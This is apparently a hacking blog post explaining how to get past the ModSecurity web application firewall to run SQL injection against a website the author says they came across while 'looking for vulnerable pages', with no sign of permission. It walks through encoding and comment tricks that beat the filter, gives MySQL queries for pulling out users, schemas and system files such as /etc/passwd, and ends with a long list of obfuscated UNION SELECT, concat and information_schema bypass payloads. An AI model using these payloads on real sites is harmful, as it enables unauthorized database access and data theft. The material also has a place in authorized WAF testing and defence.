How to bypass mod_security (WAF)
Hello, this time I would like to share with you how to evade the WAF mod_security.
Looking for vulnerable pages I came across a website that, after spending a little time on it, I realized that it could be vulnerable to sql injections, then I realized that it was “protected” with mod_security and decided to see if I could skip the waf.
I share how I did it …
First we have to put ourselves in context.
What is Mod_security?
ModSecurity is an embeddable web application firewall under GNU license that runs as a module of the Apache web server, provides protection against various attacks on web applications and allows monitoring HTTP traffic, as well as performing analysis in real time without the need to make changes to the infrastructure existing. modSecurity filters attacks by XSS, SQL Injection, abnormal behavior in protocols, robots, Trojans, LFI … also incorporating specific rules for some of the most popular content managers such as Joomla or Wordpress.
https://openwebinars.net/blog/seguridad-en-apache-modsecurity/
Now … we go through steps, the first thing we have to do is look for parameters on the website and test them, as you already know, something very useful and fast is to use a simple ‘ (single quote) after the value of a parameter to generate a database error and find out whether or not the page is vulnerable to sql injection.
As you can see in the following image, I found a parameter called “productid” and a single quote was added to the end of its value. As a result, the page shows us the error:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’
This means that the page is vulnerable to sql injections.
At this point we proceed to perform the injection, with which we will use a simple method as the first method:
-1+union+select+1+ — +
As a result of the above we have the following:
The site is protected by Mod_security.
Next is to use different ways of injecting and encoding methods for sql injections.
I personally feel more comfortable with the injection with the following syntax:
-1+union(select+1)+ — +
Then I tried mixing upper and lower case:
but with the same result ..
I also tried using url encoding
-1+%55nIoN(%53EleCt+1)+ — +
Double and triple URL encoding
% 2555nIoN% 28% 2553EleCt% 2B1% 29 % 252555nIoN% 2528% 252553EleCt% 252B1% 2529
But it didn’t work out.
Finally I decided to stick with a single URL encoding vilifying this payload:
-1+%55nIoN(%53EleCt+1)+ — +
The next step was to mix comment coding:
-1+/*!12345% 55nIoN*//**/(/*!12345%53EleCt*//**/1)+ — +
And ready!! with this we bypass the WAF filters!
shows us the following legend:
“The used SELECT statements have a different number of columns”
With this we will find out the number of columns on the page:
In this case there are 24 columns, of which number 5 is vulnerable:
-1+/*!12345UnIoN*//**/(/*!12345SEleCt*//**/ 1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24)+ — +
Now the next thing is to get information … For this I will use one of my resources where the different ways to extract basic information from a database come, the complete information is in the following link:
https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic_en.md
| Version | SELECT @@version o SELECT version() | gives us the version of the database |
| Current User | SELECT user() o SELECT system_user() | gives us the user we have |
| List Users | SELECT user FROM mysql.user | shows us all users |
| Database | SELECT database() | shows us the database we are in |
| Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | shows us the databases |
| List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the tables of the chosen database |
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the columns of the chosen table |
| Local File Access | UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) | if possible, let us read system files |
| DB location | SELECT @@datadir | It shows us the address where the database is installed |
Finally I will leave a list of payloads with which you can help:
Union Select
/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+ #?uNiOn + #?sEleCt
+ #?1q %0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?<ion sel="">+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
Concat
CoNcAt()
concat()
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))
group_concat
/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
Information_schema.tables
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
You can find more payloads in my github writings: